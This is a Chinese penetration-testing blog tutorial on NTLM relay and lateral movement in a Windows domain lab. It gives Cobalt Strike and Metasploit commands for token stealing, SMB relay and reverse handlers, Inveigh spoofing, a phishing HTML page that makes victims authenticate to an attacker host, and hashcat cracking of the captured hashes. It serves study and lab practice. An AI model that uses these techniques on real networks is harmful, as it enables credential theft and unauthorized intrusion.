内网横向移动—NTLM-Relay重放&Responder中继攻击&Ldap&Ews_responder攻击-程序员宅基地

技术标签：网络安全学习 # 内网渗透 NTML-Relay重放横向移动服务器网络安全内网渗透

1. 前置了解

与NLTM认证相关的安全问题主要有Pass The Hash、利用NTLM进行信息收集、Net-NTLM Hash破解、NTLM Relay几种。PTH前往期文章复现，运用mimikatz、impacket工具包的一些脚本、CS等等都可以利用，NTLM Relay又包括（relay to smb,ldap,ews）
可以应用在获取不到明文或HASH时采用的手法，但也要注意手法的必备条件。

1.1. MSF与CS切换权限

在正常CS或者MSF上线的时候，我们的目标通常是普通用户上线，如何提权到system权限，但是有时候需要使用到administrator，就会导致我们没有会话去连接，那么这里就是介绍一下，如何切换会话中的权限，同时要注意的是，低权限会话是无法切换至高权限的，但是高权限能够切换至低权限，相当于system权限能够切换到administrator，但是webadmin权限是无法切换至administrator权限的，这个是需要注意的。

简单来说，我们需要获取到最高权限才能降权限。

1.1.1. CS会话中切换权限

首先利用CS会话中高权限去查看进程，观察进程中有哪些是administrator权限再运行的，然后记录这个进程的PID值，其次切换PID值即可。

1.1.1.1. 查看进程

这里我先提前给各位看了一下，我的现在的权限是system权限，然后使用ps查看了一下哪些是administrator权限再运行的，这里我看到一个PID号位2336的。

ps  ##查看运行进程

在这里插入图片描述

1.1.1.2. 权限权限

这里可以看到我成功切换了权限。

steal_token 2336   ##切换权限  2336 是PID进程号

在这里插入图片描述

1.1.2. MSF会话中切换权限

这里我就不说进程了，是一样的操作，都是查进程记PID，然后切换，只是切换命令有点不同。

migrate 1992   #1992是PID号

在这里插入图片描述

2. NTLM中继攻击—Relay重放—SMB上线

在使用Relay重放的时候需要有一个前置条件，这个条件就是需要通讯的双方账户与密码是一致的，例如：Windows server 2012 DC中有administrator/admin@123，同时Windows server 2008 域内主机虽然登陆的是0day/webadmin，但是还是如果其中的administrator账户的与密码和DC是一样的，那么就可以进行访问，因为访问的时候默认是使用当前的账户密码去与对方的账户密码进行校验。

2.1. 案例测试

这里我们对DC进行测试一下，案例配置如下：

域控DC：192.168.3.142  administrator/admin@123
域内主机：192.168.3.10  administrator/admin@123
											 webadmin/admin@123

从上述也能够看出，密码都是一样的，只有账户存在不同，下面就来进行测试，看看是否验证了之前的说法。

2.1.1. 同账户密码测试

我将域内主机也切换到administrator，来进行测试，按照这个条件，那么此时的域控DC与域内主机是相同账户密码，可以看到直接就能够访问，并未出现什么报错。

在这里插入图片描述

2.1.2. 不同账户同密码测试

我将域内主机切换到webadmin，来进行测试，按照条件，目前是不同的账户，但是密码是相同的，可以看到这里直接就是拒绝访问，当然这里应该是账户密码错误的，这里拒绝访问应该是域控设置权限的问题。

在这里插入图片描述

2.2. CS联动MSF测试

先让域内主机上线CS，由于CS中没有相应的功能，需要使用联动MSF进行测试，同时这里要把传输过来的会话提权到systeam进行执行。

至于CS的上线操作这里就不多说了。

2.2.1. CS转发MSF上线

在上篇文章中已经介绍CS转发MSF上线了，这里就不提了，直接看操作，也不介绍了。

2.2.1.1. 案例操作

注意这里一定要先run，然后CS再进行操作，不然容易监听不起来。

CS：新建会话，会话选择监听的那个MSF，也可以使用命令：spawn msf
MSF：设置监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 0.0.0.0
set lport 3010
run

在这里插入图片描述

2.2.1.2. 添加路由

由于域控是在内网中，所以需要给会话添加一个相应的路由，这样MSF就能够连接域内主机。

run autoroute -p ##查看当前路由表
run post/multi/manage/autoroute ##添加当前路由表
backgroup ##返回

在这里插入图片描述

2.2.2. 重放模块攻击

这里就需要使用到SMB重放模块进行攻击，这里看完下面的操作，再看图就能看懂了，同样前提条件就是账号密码相同，才能利用成功，如果不同就无法利用。

在这里插入图片描述

2.2.2.1. 模块设置

这里我就直接说了并未成功，只返回了hash值，但是会话并未建立起来，我查询了一下，确实网上很多文章都未成功，不过也有说64位系统未成功，但是32位系统成功了，这…所以我也不想切换32位系统进行测试了，如果只有32位系统能够成功，那真的就太鸡肋了，同时还有一种情况，目前更新的msf都是新的，会不会是msf模块中的一个小bug问题，所导致的。

use exploit/windows/smb/smb_relay
set smbhost 192.168.3.142   #攻击目标
set lhost 192.168.10.20   #设置本地 IP
set autorunscript post/windows/manage/migrate
set payload windows/meterpreter/bind_tcp  ##设置正向连接
set rhost 192.168.3.142 #设置连接目标
run

在这里插入图片描述

2.2.2.2. 访问设置

这里需要在被控主机上访问攻击主机地址，简单来说，就是被控主机去访问攻击机，将自生的账户密码相当于发送给攻击机，让攻击机获取到账号密码再去访问域控，实现攻击机中继拦截上线。

同时需要注意要使用administrator权限去操作。

dir \\192.168.10.20\c$

在这里插入图片描述

3. NTLM中继攻击-Inveigh嗅探-Hash破解

这个攻击手段就是攻击者在被控主机上伪造一个SMB服务器，当内网中有机器对被控主机进行SMB访问的时候，内网中的主机先访问攻击者伪造的SMB服务器，然后伪造的SMB服务器再将访问流量重放给被控主机，在这个过程中，内网主机是毫无感觉的，但是内网主机访问的用户的账号与密码的hash值均被伪造的SMB服务器获取。

Inveigh嗅探

hash破解

这里由于我的虚拟机中都不止.net3.5，而且不知道为什么无法安装，也挺麻烦的，所以直接借鉴别人的加口述的，主要是操作很简单，不复杂，所以就懒得弄了。

3.1. 开启监听

这里不建议将这个监听，放在本地去监听，容易出现问题，由于工具并不是很大，可以将工具上传至被控服务器上，实际情况中如果被杀，那么就只能本地监听了。

这里还需要注意的是开启监听，一定要是内网主机都会访问这个主机，例如：开启监控的主机是域控，那你域内主机不访问域控的SMB那么就监听不到。

Inveigh.exe

在这里插入图片描述

3.2. 开始拦截

这里也是，你访问的一定要是那个被监听的域内主机，不然无法获取到。

dir \\192.168.3.x\c$

在这里插入图片描述

3.3. 钓鱼页面

这里可能会存在一个问题就是，我平时就不访问域控主机，而且谁闲着没事，使用dir去访问啊，而且域内使用者，都是办公人员，也不会这些操作，所以就需要设置一个钓鱼页面，挂载在内部的web解密中，或者你主动发送给域内主机。

<!DOCTYPE html>
<html>
<head>
  <title></title>
</head>
<body>
  <img src="file:///\\192.168.3.32\2">
</body>
</html>

3.4. 破解密文

但是这里有问题哦，如果虚拟机配置不够是会出现报错的，这个破解可能是需要进行加密计算的，然后比对，所以配置低，可能无法运行那么打的并发吧。看配置是需要4h4g…

hashcat -m 5600 hash1 pass2.txt  --show

本文链接：https://blog.csdn.net/weixin_44268918/article/details/132003810

原作者删帖不实内容删帖广告或垃圾文章投诉

智能推荐

51单片机的中断系统_51单片机中断篇-程序员宅基地

文章浏览阅读3.3k次，点赞7次，收藏39次。CPU 执行现行程序的过程中，出现某些急需处理的异常情况或特殊请求，CPU暂时中止现行程序，而转去对异常情况或特殊请求进行处理，处理完毕后再返回现行程序断点处，继续执行原程序。void 函数名(void) interrupt n using m {中断函数内容 //尽量精简 }编译器会把该函数转化为中断函数，表示中断源编号为n，中断源对应一个中断入口地址，而中断入口地址的内容为跳转指令，转入本函数。using m用于指定本函数内部使用的工作寄存器组，m取值为0~3。该修饰符可省略，由编译器自动分配。_51单片机中断篇

oracle项目经验求职,网络工程师简历中的项目经验怎么写-程序员宅基地

文章浏览阅读396次。项目经验(案例一)项目时间：2009-10 - 2009-12项目名称：中驰别克信息化管理整改完善项目描述：项目介绍一，建立中驰别克硬件档案(PC,服务器，网络设备，办公设备等)二，建立中驰别克软件档案(每台PC安装的软件，财务，HR，OA，专用系统等)三，能过建立的档案对中驰别克信息化办公环境优化(合理使用ADSL宽带资源，对域进行调整，对文件服务器进行优化，对共享打印机进行调整)四，优化完成后..._网络工程师项目经历

LVS四层负载均衡集群-程序员宅基地

文章浏览阅读1k次，点赞31次，收藏30次。LVS：Linux Virtual Server，负载调度器，内核集成，阿里的四层SLB(Server Load Balance)是基于LVS+keepalived实现。NATTUNDR优点端口转换WAN性能最好缺点性能瓶颈服务器支持隧道模式不支持跨网段真实服务器要求anyTunneling支持网络private（私网）LAN/WAN（私网/公网）LAN（私网）真实服务器数量High (100)High (100)真实服务器网关lvs内网地址。

「技术综述」一文道尽传统图像降噪方法_噪声很大的图片可以降噪吗-程序员宅基地

文章浏览阅读899次。https://www.toutiao.com/a6713171323893318151/作者 | 黄小邪/言有三编辑 | 黄小邪/言有三图像预处理算法的好坏直接关系到后续图像处理的效果，如图像分割、目标识别、边缘提取等，为了获取高质量的数字图像，很多时候都需要对图像进行降噪处理，尽可能的保持原始信息完整性（即主要特征）的同时，又能够去除信号中无用的信息。并且，降噪还引出了一..._噪声很大的图片可以降噪吗

Effective Java 【对于所有对象都通用的方法】第13条谨慎地覆盖clone_为继承设计类有两种选择,但无论选择其中的-程序员宅基地

文章浏览阅读152次。目录谨慎地覆盖cloneCloneable接口并没有包含任何方法，那么它到底有什么作用呢？Object类中的clone()方法如何重写好一个clone()方法1.对于数组类型我可以采用clone()方法的递归2.如果对象是非数组，建议提供拷贝构造器（copy constructor）或者拷贝工厂（copy factory）3.如果为线程安全的类重写clone()方法4.如果为需要被继承的类重写clone()方法总结谨慎地覆盖cloneCloneable接口地目的是作为对象的一个mixin接口（详见第20_为继承设计类有两种选择,但无论选择其中的

毕业设计基于协同过滤的电影推荐系统-程序员宅基地

文章浏览阅读958次，点赞21次，收藏24次。今天学长向大家分享一个毕业设计项目基于协同过滤的电影推荐系统项目运行效果：项目获取：https://gitee.com/assistant-a/project-sharing21世纪是信息化时代，随着信息技术和网络技术的发展，信息化已经渗透到人们日常生活的各个方面，人们可以随时随地浏览到海量信息，但是这些大量信息千差万别，需要费事费力的筛选、甄别自己喜欢或者感兴趣的数据。对网络电影服务来说，需要用到优秀的协同过滤推荐功能去辅助整个系统。系统基于Python技术，使用UML建模，采用Django框架组合进行设

随便推点

你想要的10G SFP+光模块大全都在这里-程序员宅基地

文章浏览阅读614次。10G SFP+光模块被广泛应用于10G以太网中，在下一代移动网络、固定接入网、城域网、以及数据中心等领域非常常见。下面易天光通信（ETU-LINK）就为大家一一盘点下10G SFP+光模块都有哪些吧。一、10G SFP+双纤光模块10G SFP+双纤光模块是一种常规的光模块，有两个LC光纤接口，传输距离最远可达100公里，常用的10G SFP+双纤光模块有10G SFP+ SR、10G SFP+ LR，其中10G SFP+ SR的传输距离为300米，10G SFP+ LR的传输距离为10公里。_10g sfp+

计算机毕业设计Node.js+Vue基于Web美食网站设计(程序+源码+LW+部署)_基于vue美食网站源码-程序员宅基地

文章浏览阅读239次。该项目含有源码、文档、程序、数据库、配套开发软件、软件安装教程。欢迎交流项目运行环境配置：项目技术：Express框架 + Node.js+ Vue 等等组成，B/S模式 +Vscode管理+前后端分离等等。环境需要1.运行环境：最好是Nodejs最新版，我们在这个版本上开发的。其他版本理论上也可以。2.开发环境：Vscode或HbuilderX都可以。推荐HbuilderX;3.mysql环境：建议是用5.7版本均可4.硬件环境：windows 7/8/10 1G内存以上；_基于vue美食网站源码